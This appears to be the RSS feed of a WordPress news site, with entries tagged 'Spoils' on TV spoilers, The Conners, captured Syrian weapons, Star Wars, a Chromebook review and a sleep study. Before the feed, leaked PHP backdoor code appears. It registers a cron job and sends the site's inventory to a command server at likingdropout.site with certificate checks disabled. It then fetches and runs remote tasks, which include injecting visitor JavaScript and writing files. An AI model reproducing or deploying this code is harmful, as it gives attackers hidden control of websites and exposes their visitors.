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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Spoils – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 21 Sep 2018 21:01:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Spoils – Brief News https://briefnews.eu 32 32 BBC News: Fans in uproar at BBC Breakfast as show SPOILS Bodyguard DEATH ending https://briefnews.eu/bbc-news-fans-in-uproar-at-bbc-breakfast-as-show-spoils-bodyguard-death-ending/ https://briefnews.eu/bbc-news-fans-in-uproar-at-bbc-breakfast-as-show-spoils-bodyguard-death-ending/#respond Fri, 21 Sep 2018 21:01:19 +0000 http://briefnews.eu/bbc-news-fans-in-uproar-at-bbc-breakfast-as-show-spoils-bodyguard-death-ending/

BBC Breakfast, which was hosted by Jon Kay, 49, and Louise Minchin, 50, discussed the intensely thrilling drama, Bodyguard, which has gripped the nation. 

They were joined by Hamish Brown, former Metropolitan Police Detective and Scott Bryan, Buzzfeed’s TV Editor on the sofa, who gave their opinions on the theories surrounding the finale.

Both presenters introduced the segment with warnings of spoilers and Jon stated: “Spoiler alert. Don’t say we haven’t warned you,” as well as spoiler alert sign showing up on screen throughout the interview. 

Whilst Louise insisted: “Let’s just be really clear, we don’t know what’s happened [in the finale episode],” but viewers watching were left unimpressed by the show’s choice to explain possible theories and drop spoilers. 

Taking to Twitter, one said: “WTF @BBCBreakfast!! I’ve just turned on the telly ready to watch a bit about #QueenMargaret @rtheathre and caught a spoiler for the last episode of #Bodyguard!!!!! why are you putting stuff like that out before Monday morning?!!! #Spoiler #thanksalot #not.” 

Another commented: “Nevermind a spoiler alert, why are you even talking about it as it’s unaired program #bodyguard.” 

“@BBCBreakfast that was a ridiculously long SPOILER ALERT for the last episode of #Bodyguard What the hell are you playing at there?” A third remarked. 

“I can’t believe @BBCBreakfast is doing a spoiler piece about the next #Bodyguard episode! Surely it’s already popular enough without having to promote it 2 days in advance!” One viewer suggested. 

A fifth wrote: “@BBCBreakfast #bodyguard spoiler (alerted) on! Good grief I’ve switched off. You nearly ruined my Sunday night TV!” 

It came after Louise asked the guests to “talk about the Home Secretary and conspiracy theories surrounding her future, or past”. 

And Scott was keen to explain his thoughts on whether or not she is really dead, and claimed the way Jed Mercurio writes his dramas indicates her definite death. 

“In Line of Duty, normally when he kills off a character, that person isn’t coming back. And I think it would be such a bizarre twist for there to be like ‘surprise, I’m alive!’”

Julia Montague’s (Keeley Hawes) death has been widely reported in the press, to family with official confirmation coming from the hospital staff following her admission. 

She also apparently had a private funeral, which wasn’t seen in any episode, alongside the actress Keeley’s name, not being present in the credits from episode three onwards. 

 Writer and creator, Jed has also added fuel to the fire surrounding the death theory, revealing his private conversations with actress Keeley. 

“Keeley and I were exchanging texts today and we’re kinda enjoying the experience of winding everyone up,” Jed enthused.

“So we’re looking forward to what the reaction will be like on Sunday night.”

Yet he remained tight-lipped about Julia’s existence, refusing to comment on whether she was alive or death during an interview on Newsnight.

Jed said: “I’m going to say what everyone is expecting me to say, which is that you’re just going to have to wait and see.”

BBC Breakfast airs weekdays at 6am on BBC One and Bodyguard finale airs 9pm on Sunday on BBC One. 

 

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Roseanne Barr isn’t happy with the way The Conners is handling her character’s exit.

In a podcast released over the weekend, Barr spilled the beans on how the upcoming Roseanne offshoot will write off her character Roseanne Conner: “They killed her. They have her die of an opioid overdose.”

Last season, on the Roseanne revival, Roseanne’s character was shown to be hoarding pain pills in lieu of having expensive knee surgery. But Barr says, “I was never going to have Roseanne die of an opioid overdose. It’s so cynical and horrible. She should have died as a hero, or not at all… It wasn’t enough to [fire me], they had to so cruelly insult the people who loved that family and that show.”

ABC had no comment on Barr’s revelations when reached by TVLine. The Conners, without Barr, is set to premiere Tuesday, Oct. 16 at 8/7c.

In case you missed it, the Roseanne revival was cancelled by ABC back in May following a racist outburst from Barr on Twitter, only to later be revamped into The Conners, with the rest of the original cast intact. Exactly how the show will deal with Barr’s absence has been a mystery ever since, but co-star John Goodman revealed in an interview last month that his on-screen wife would be killed off: “I guess [Dan]’ll be mopey and sad because his wife’s dead.”

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Weaponry captured from militants during the anti-terrorism campaign in Syria has been put on display in Russia. RT highlights the most peculiar trophies, which range from WWII relics to modern drones, used by US special ops.

The weapons have been put on display at the Army-2018 forum, which is being held outside Moscow near the city of Kubinka. Small pieces are displayed in a pavilion while larger objects, such as tanks and cars, are out in the open.

Some of the weapons are more suited to a collector’s closet or a museum rather than to an actual war zone. The WWII relics include StG 44s, made in Nazi Germany. The war castoffs made it into Syria from Eastern Germany in the 1960s, when the latter country transitioned to Soviet weaponry.

French-made pre-WWII MAS-36 and post-war MAS-49 rifles have also likely made it into militants’ hands from loot ransacked from Syrian Army stores. Many of the old guns still look quite pristine, as they likely did not see much action, due to lack of readily available ammunition.

A relic of another war, British Centurion tank was among the trophies as well. The beaten-up machine was likely left behind by the Israeli army during the Yom Kippur War and picked up by the militants during the ongoing conflict.

The exhibit shows quite a large amount of various US-made weapons, ranging from small arms and anti-tank systems…

To Humvees in various states of decay. Large numbers of such vehicles were captured by Islamic State (IS, formerly ISIL/ISIS) terrorists from the Iraqi army back in 2014 and many ended up in Syria.

The fancy modern AeroVironment Switchblade drone is also among the US-made spoils of the war in Syria. The drone is designed as a ‘kamikaze’ and packs a warhead which explodes when the UAV crashes into its target. Some 350 such machines were reportedly delivered to Iraq last year to be used by the US Special Operations Command (SOCOM) against IS. At least one of them has seemingly got into the wrong hands.

Several South African RG-31 Nyala MRAPs, captured recently in southwestern Syria, are on display as well. The machines fell into the hands of militants when the United Nations Disengagement Observer Force (UNDOF), sent to maintain the ceasefire between Israel and Syria, retreated from the Golan Heights area.

The exhibit features OT-64 SKOT armored personnel carriers, developed by Poland and Czechoslovakia back in 1960s. Syria purchased some 300 machines in 1970s, yet they were long-since decommissioned before the war in Syria. Several APCs of the type, looking brand-new and sporting fancy chrome exhausts, unexpectedly landed in the hands of the militants in southwestern Syria last year.

The sudden emergence of the machines fueled allegations of arms deliveries to the militants, especially after such a vehicle on the Bosporus Straight, was spotted travelling from Bulgaria to Saudia Arabia. Whatever the true source of OT-64 SKOTs is, several fully-operational APCs ended up in Kubinka.

Naturally, there’s a large amount of Mad Max-styled gun trucks and suicide bombers’ vehicles among the trophies. Ordinary civilian cars were up-armored by the militants to various degrees, depending on skills and imagination of a jihadi craftsman.

One of the pick-up trucks even has a pod for unguided aircraft rockets mounted. Such a setup is less than unprecise and is capable of firing its munitions only in a general direction.

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Warning: Major spoilers ahead for “Avengers: Infinity War.”

The cast of Marvel’s “Avengers: Infinity War” clearly had more slip-ups when it came to spoilers than anyone realized. After video resurfaced showing Mark Ruffalo accidentally spilling the beans last year, now fans are sharing a clip of Tom Holland ruining his character’s death on the movie’s opening night. 

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]]> https://briefnews.eu/rabada-spoils-khawajas-day/feed/ 0 Star Wars Bits: Daisy Ridley ‘Spoils’ ‘The Last Jedi,’ Space Battle Details, and Yes, More Porg News https://briefnews.eu/star-wars-bits-daisy-ridley-spoils-the-last-jedi-space-battle-details-and-yes-more-porg-news/ https://briefnews.eu/star-wars-bits-daisy-ridley-spoils-the-last-jedi-space-battle-details-and-yes-more-porg-news/#respond Thu, 12 Oct 2017 06:05:55 +0000 http://briefnews.eu/star-wars-bits-daisy-ridley-spoils-the-last-jedi-space-battle-details-and-yes-more-porg-news/ Star Wars The Last Jedi 13

In this edition of Star Wars Bits:

  • Rian Johnson once again confirms who “the last Jedi” is.
  • Daisy Ridley spoils Star Wars: The Last Jedi (but not really).
  • An interview with new Star Wars actress Kelly Marie Tran.
  • Details on The Last Jedi‘s big space battle.
  • Domhnall Gleason‘s reaction to the Last Jedi screenplay.
  • Mark Hamill has seen your parody posters.
  • And much more!

Rian Johnson has said it before and it looks like he’ll keep on saying it: the last Jedi is Luke. That’s it. It’s no longer a secret. Sheesh.

For the real secrets, you need to turn to Daisy Ridley. Someone stop her before she spoils the whole movie!

For more serious interview with a Star Wars actress, you can look to People’s chat with Kelly Marie Tran, who plays Resistance mechanic-turned-hero Rose Tico in The Last Jedi. While she’s not a famous face yet (she’s not featured in the new trailer), she is a major character in the movie and her days of being mostly anonymous are surely coming to an end.

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The arrival of the Star Wars: The Last Jedi trailer during Monday Night Football got a whole bunch of nerds to sit around and watch sports, but did that have an impact on the ratings? According to Deadline…no:

Snaring a 7.0 in metered market results, MNF was down double digits from last week’s Kansas City Chiefs win over the Washington Redskins. Down 17% in the ratings, that’s actually a regular-game season low for ESPN and matches the MM result of the second game of the doubleheader MNF opener on September 11.

But hey, at least that trailer was pretty great.

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You know that huge space battle teased in the trailer for Star Wars: The Last Jedi? Thanks to a blurb in a new Star Wars book, we may know the context of that big fight:

After Poe Dameron’s squadrons destroyed Starkiller Base, the First Order sought out the Resistance headquarters on the planet of D’Qar to enact their revenge. A-wings flew guard around the Resistance fleet and the transports fleeing the base. When three First Order warships emerged from hyperspace to attack, a squadron of A-wings, commanded by Tallie Lintra, assisted Poe Dameron and the Resistance’s assault bombers in taking on an enemy dreadnought.

For those wondering, this comes from an awkwardly titled book/toy called IncrediBuilds: Journey to Star Wars: The Last Jedi: A-wing Deluxe Book and Model Set: Inside the Resistance’s High-Speed Interceptor. Leave it to the merchandise to spill the beans.

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We’ve been hearing for some time that The Last Jedi will be a very different kind of Star Wars movie. Now, this Domhnall Gleeson interview (via Collider) only further confirms that we’re in for something special:

“When I read it I needed to talk to him, and I think that’s always a good sign. I was like, ‘Wow there’s some stuff there which is kind of—not scary but different to what I expected,’ and that’s a really, really nice thing. I think that’s a really positive thing, I think that’s important for those films that we don’t repeat ourselves. So I just wanted to talk to him, and when I talked to him he was so clear and so confident, not in a brash way but he knew the film he wanted to make, and it was a really lovely thing.”

There are shades of Mark Hamill reading the script and having a fundamental disagreement with writer/director Rian Johnson’s take on Luke…

After rumors arose that Luke Skywalker makes a meal out of those adorable Porgs in The Last Jedi, Mark Hamill had to take to Twitter to put the rumors to rest. It turns out that Luke is a vegetarian and has been for decades.

However, the Porgs aren’t the only adorable creature in the Last Jedi trailer. There was also that strange ice fox/dog/cat on Crait! What’s up with that guy? When asked whether it leans to the canine or feline persuasion, Johnson offered another answer altogether.

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]]> https://briefnews.eu/star-wars-bits-daisy-ridley-spoils-the-last-jedi-space-battle-details-and-yes-more-porg-news/feed/ 0 Samsung Chromebook Pro review: One misstep spoils the show https://briefnews.eu/samsung-chromebook-pro-review-one-misstep-spoils-the-show/ https://briefnews.eu/samsung-chromebook-pro-review-one-misstep-spoils-the-show/#respond Fri, 25 Aug 2017 19:22:57 +0000 http://briefnews.eu/samsung-chromebook-pro-review-one-misstep-spoils-the-show/

My co-workers mercilessly chide me every time I review a Chromebook. “They’re all the same!” they laugh. I then patiently explain the many variations on the Chromebook formula that exist. From no-frills $ 200 bricks with lousy screens that simply get you online to premium laptops with great design that cost nearly as much as a good Windows machine — there’s actually a pretty wide variety of Chromebooks out there at this point.

However, in the case of Samsung’s Chromebook Pro, the sales pitch is basically identical to the ASUS Chromebook Flip, which I reviewed last month. It’s a well-built laptop that feels much more expensive than its $ 550 price, it has a great screen that flips around so you can use it as a tablet and it’s one of a few Chromebooks that supports Android apps from the Google Play store.

I tried a pre-production version of the laptop back in February and found it lacking on a few fronts. Then, the final hardware was a bit delayed and I experienced some rather notable bugs. But with those launch troubles in the rearview mirror, I’ve settled in with the final hardware to see if it can match the expectations I had back in January with the Chromebook Pro was first announced.

Hardware

The Chromebook Pro isn’t a huge innovator in terms of design, but it has a lot of thoughtful touches that separate it from the rest of the market. First up, I was struck by the all-black metallic design. It simply looks great, and there aren’t a whole lot of other laptops out there that give off quite the same aura. It’s also quite small, light and thin, if not very flashy. The two halves of the laptop are both rounded off, which makes it look a bit like a sandwich when closed; there’s an impression of two tablets lying on top of each other, almost. I don’t mind the aesthetic at all, it’s just a bit different than the usual one-piece feel you get when most laptops are closed.

Opening up the Pro shows off black keys against a black body, unmarred except for the tiny. annoying stickers that we seemingly will never get away from. Then, the display lights up, and what a display it is. The 2,400 x 1,600 screen is bright, sharp, colorful and has great viewing angles. It’s probably the best you’ll find on any Chromebook outside the now-discontinued Pixel. Like the Pixel, it’s a touchscreen, and it’s also in a 3:2 aspect ratio (rather than the 16:9 that’s standard on most laptops). That means you have more vertical area when scrolling through documents and web pages, though you’ll see larger black bars when watching video. Overall, I prefer the trade off and really wish more manufacturers made screens this size.

The aspect ratio also works well when you use the Chromebook Pro’s 360-degree hinge to flip the computer into tablet mode. Because it’s slightly more square, it work well in both portrait and landscape mode. Unlike the ASUS Chromebook Flip, the Pro is also light enough to make using it as a tablet ever-so-slightly more feasible. But, at 2.4 pounds, it’s still far heavier than an iPad or Surface, and I didn’t find myself using it like this for very long.

The keyboard is good, but unfortunately not quite as good as the one on the Chromebook Flip. It’s not backlit, for starters, and the narrower frame means that everything feels just a little too cramped. That’s not to say you can’t adjust; I can type quite fast on it and the key travel is solid for such a thin machine. But the Flip’s keyboard is definitely more comfortable, backlit and generally doesn’t make any compromises. On the other hand, look at the ridiculous “delete” key on the Pro and know that you’ll spend a lot of time missing that target — something you’ll definitely want to keep in mind if you buy this machine. The trackpad is totally fine; it’s a little small and wide compared to what I’m used to on my MacBook Air, but it’s pretty standard-issue for Chromebooks.

Finally, around the edges of the Chromebook Pro you’ll find two USB-C ports (one on each side), a headphone jack, the power button, a volume rocker and a slot that hides Samsung’s S Pen stylus — more on that later. The Pro’s speakers are actually on the bottom; that makes sense given the computer’s convertible nature. Firing audio up from the keyboard area wouldn’t work very well when using the computer in tablet or “tent” mode, after all. But the downward-facing speakers sound pretty terrible in laptop mode unless you place the Pro on a hard surface like a desk. If it’s, well, in your lap, audio is very muffled. It’s good enough for a video call, but you won’t want to listen to music or watch a movie like this. Just use headphones.

Performance and battery life

The Chromebook Pro comes with internals that I consider to be standard-issue for such a computer at this point. That includes an Intel Core m3-6Y30 processor, 4GB of RAM and 32GB of internal storage. I wish Samsung had sprung for 64GB — with Android apps, you’ll be downloading a lot more to your local storage, both in terms of the apps themselves as well as content to enjoy when you’re offline.

That quibble aside, the Chromebook Pro typically does what I need it to. That is, it runs multiple Chrome windows, with many tabs, smoothly while also handling standalone Chrome apps for Todoist, Keep, Hangouts, Google Play Music, Slack and Tweetdeck (though not usually all of those at once). I also took the occasional video call in Hangouts, it worked with no problems; the 720p video camera is nothing special but got the job done fine. Occasionally, things would stutter or slow down a bit, but I had to push pretty hard for this to be the case. Adding in Android apps would also slow things down — I found that those apps were best used one at a time, in full-screen mode.

Unfortunately, the Chromebook Pro has a major achilles heel: battery life. While it lasted about seven hours in our battery test (which loops HD video at 66 percent brightness), I only got between four and five hours while using the Pro as outlined above. That was a serious disappointment for a device meant to be used on the go. Maybe I’m expecting more than I should from a $ 550 computer, which is high for a Chromebook but still on the lower end of the laptop market. But I personally wouldn’t shell out for a computer with that limited of a lifespan. Unfortunately, most Chromebooks I’ve tried lately have had strangely weak battery life. At least the ASUS Chromebook Flip consistently more than 6 hours of battery. That’s not great, but it’s an improvement. If your workflow means you’re usually near a power outlet or you don’t mind carrying a charger around, the Pro will get the job done. Users who crave long battery life should keep looking, however.

Software

The Pro is Samsung’s first Chromebook that includes an S Pen for taking notes and sketching and other stylus-driven features. Samsung helpfully included a little custom software to make the pen more useful right out of the box. When you pop it out of its convenient slot in the side of the laptop, a dialog box with a few pen-focused options appears. Most useful of those is probably a one-tap shortcut to Google Keep; the app opens right up with a new page ready for you to draw or write all over. Naturally, this feature is most useful in tablet mode, where you can use the Pro like a giant notebook.

Google’s handwriting recognition means these notes you write out are searchable in Keep alongside your typed ones, which definitely makes the feature more useful. Unfortunately, I’ve noticed a lot of lag when writing in Keep — it feels far more sluggish than on the iPad Pro with the Apple pencil or the Surface Pro and its pen. That’s surprising, because Google said when the Pro was first announced that it was implementing machine learning technology to analyze what you’re writing to predict the letters and words you were forming.

That was supposed to reduce latency and actually improve the quality of your handwriting. But I haven’t seen any evidence that this feature is actually active; if it is, it’s not doing much good. A Google spokesperson said that the team is working to improve latency and prediction capabilities, but I get the sense that it’s not the experience the company was shooting for when the Pro was first announced.

Other stylus shortcuts include one-tap screenshot capture; you can also use the pen to outline the area you want to grab. From there, you can use the pen to annotate the screenshot and save it into Keep or share it out. Windows 10 lets you do something similar, as will iOS 11 on the iPad when it launches. I didn’t really see the utility of this at first, but it’s actually a very handy way to give suggestions when editing a web layout, for example. It’s like leaving comments and suggestions on a text document, but you can do it on any screen of your computer.

You can also use the stylus to interact with basically any on-screen elements if you so choose, which means you can draw in the many different sketching apps out there in the Google Play Store. I can’t draw to save my life, but the Samsung ArtCanvas app that comes included on the Chromebook Pro seems to work well with the stylus. It’s pressure-sensitive, which means you can get more precision and variability in your pen strokes as you draw. Latency is still an issue, but budding artists working on a budget might want to give this computer a shot as a first digital canvas.

As mentioned, the Chromebook Pro can run the Google Play store and Android apps. One of the things I had a hard time figuring out when I first tested the Pro was when to opt for Android apps over web counterparts. What I’ve settled on is that usually web versions are best, but Android apps are better if you need to save things offline. That means that Android apps are usually for specific tasks or situations rather than things you run all the time. But that doesn’t mean they aren’t quite useful when you do need them. For more on the current state of Android on Chromebooks, check out the software section in my review of the Chromebook Flip from a few weeks ago. Basically everything I said there applies to the Pro, as well.

The competition

The Chromebook Pro’s main competition comes from Samsung itself in the form of the Chromebook Plus. It’s $ 100 cheaper, has a silver finish instead of black and runs on an ARM-based chip called the OP1 rather than the Intel processor in the Pro. I haven’t personally tested out the Plus yet, but other reviews suggest that the processor can be a bit of a dog if you push it too hard. That said, it does appear to run Android apps well; if your needs are pretty basic, it might be worth a look.

Meanwhile, the ASUS Chromebook Flip, as I’ve mentioned, is a near-direct competitor to the Pro. They have very similar hardware, design and features — the Flip includes 64GB of storage to the Pro’s 32GB. It also has a backlit keyboard that’s a good deal more comfortable to use, and its battery life is better (but still not great). The Pro counters with S Pen support and one of the best screens you can find on a Chromebook. But the Flip is priced at $ 480, compared to the $ 550 Pro. At that price, the Flip makes a very compelling argument for choosing it over Samsung’s latest Chromebook.

Wrap-up

After testing the Chromebook Pro, I had to admit that it’s not the king of the Chromebooks I was hoping for when it was first announced. It does plenty of things well — I love its looks, screen and performance, but the keyboard’s a bit cramped and the S Pen is a mixed bag. Much more importantly, though, is the fact that its battery life just isn’t good enough in comparison to other options out there on the market. Samsung is very close to a formula that works here, but it’s not quite there yet. If Samsung builds a Chromebook Pro that gets seven hours of battery life, I’d call it the best Chromebook out there. Unfortunately for Samsung, ASUS has already done that.

If you’re the type of user who is more interested in a great display or S Pen support, the Pro is definitely worth a look. It can do double duty as a stylus-driven tablet and a solid laptop better than the Chromebook Flip. But for the average computer users who wants a comfortable laptop that can last all day, the Pro comes up just a little short.

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Joanna and David discuss the fourth episode of the seventh season of Game of Thrones, “The Spoils of War.” Be sure to check out Joanna’s article about Arya’s fight. Check out Jacob’s review of this episode. Thanks to Blade Geer for performing today’s song. Thanks to Wikirascals.com for creating our podcast art.

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]]> https://briefnews.eu/a-cast-of-kings-s7e04-the-spoils-of-war/feed/ 0 ‘Catch-up’ sleep spoils attention and creativity, study suggests https://briefnews.eu/catch-up-sleep-spoils-attention-and-creativity-study-suggests/ https://briefnews.eu/catch-up-sleep-spoils-attention-and-creativity-study-suggests/#respond Sun, 14 May 2017 10:48:18 +0000 http://briefnews.eu/catch-up-sleep-spoils-attention-and-creativity-study-suggests/ Sleeping student

As a college or university student, sleep is often in short supply. However, new research from the U.S. suggests following abnormal sleep patterns comes at a cost for students.

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]]> https://briefnews.eu/catch-up-sleep-spoils-attention-and-creativity-study-suggests/feed/ 0 ‘Pirates of the Caribbean 5’: Prologue With ‘Guardians of the Galaxy 2’? International Trailer Spoils Big Surprise https://briefnews.eu/pirates-of-the-caribbean-5-prologue-with-guardians-of-the-galaxy-2-international-trailer-spoils-big-surprise/ https://briefnews.eu/pirates-of-the-caribbean-5-prologue-with-guardians-of-the-galaxy-2-international-trailer-spoils-big-surprise/#respond Wed, 19 Apr 2017 15:27:25 +0000 http://briefnews.eu/pirates-of-the-caribbean-5-prologue-with-guardians-of-the-galaxy-2-international-trailer-spoils-big-surprise/ pirates of the caribbean 5 prologue with guardians of the galaxy 2

The cross-pollination of the Disney empire will be in full effect, with a five-minute preview of Pirates of the Caribbean: Dead Men Tell No Tales possibly getting attached to screenings of Guardians of the Galaxy Vol. 2 when it opens in May.

And while we’re here, let’s also watch the new international trailer, which reveals a huge surprise from the movie.

Trailer Track is reporting that the BBFC, the U.K.’s movie rating board, have rated a five-minute piece of footage from the fifth installment of Pirates of the Carribean, titled “Trailer Y.”

Trailer Track suggests that “Trailer Y” could be additional movie footage or an extended scene from Dead Men Tell No Tales that could play in front of select U.K. screenings of Guardians of the Galaxy Vol. 2, most likely in 3D or IMAX screenings. Why are we guessing that this scene is the prologue to Pirates 5? FirstShowing’s Alex Billington reported that he saw “a long escape scene (with Jack)” from Pirates of the Caribbean when he attended a press screening for Guardians.

No news yet on whether this footage would play in front of U.S. showings of Guardians of the Galaxy Vol. 2, but with the superhero sequel premiering in the U.K. first  — on April 28, a week before the U.S. premiere on May 5 — it’s a possibility.

A Familiar Face in the International Pirates Trailer

Wasn’t Pirate of the Caribbean supposed to end two movies ago? With only Johnny Depp‘s Jack Sparrow returning, and with the unproven Brenton Thwaites getting shoehorned into another blockbuster as the next potential bland male lead, it feels like Disney is keeping this franchise alive for longer than it’s worth. But early buzz around the fifth Pirates of the Caribbean is surprisingly positive, with critics saying it manages to capture the magic of the original film.

And the new international trailer for Dead Men Tell No Tales show that Depp is not the only returning face to the franchise.

Yes, that’s Keira Knightley, returning to the franchise and the corset that made her famous. We only see a brief shot of Elizabeth Swann, the governor’s daughter and wife of the captain of  The Flying Dutchman, and we don’t know what part she’ll play in the newest film. Along with Knightley, we know that Orlando Bloom‘s Will Turner will make a return as well. It’s promising to see the non-Depp cornerstones of the Pirates series back in action again.

Here’s the synopsis of Pirates of the Caribbean: Dead Men Tell No Tales:

The rip-roaring adventure finds down-on-his-luck Captain Jack feeling the winds of ill-fortune blowing strongly his way when deadly ghost sailors, led by the terrifying Captain Salazar, escape from the Devil’s Triangle bent on killing every pirate at sea—notably Jack. Jack’s only hope of survival lies in the legendary Trident of Poseidon, but to find it he must forge an uneasy alliance with Carina Smyth, a brilliant and beautiful astronomer, and Henry, a headstrong young sailor in the Royal Navy. At the helm of the Dying Gull, his pitifully small and shabby ship, Captain Jack seeks not only to reverse his recent spate of ill fortune, but to save his very life from the most formidable and malicious foe he has ever faced.

Directed by Joachim Rønning and Espen Sandberg from a script by Jeff Nathanson, Pirates of the Caribbean: Dead Men Tell No Tales stars Depp as eccentric Captain Jack Sparrow and Javier Bardem as the villainous supernatural Captain Armando Salazar, as well as Thwaites, Kaya Scodelario, Kevin McNally and Geoffrey Rush. The film sails into theaters May 26.

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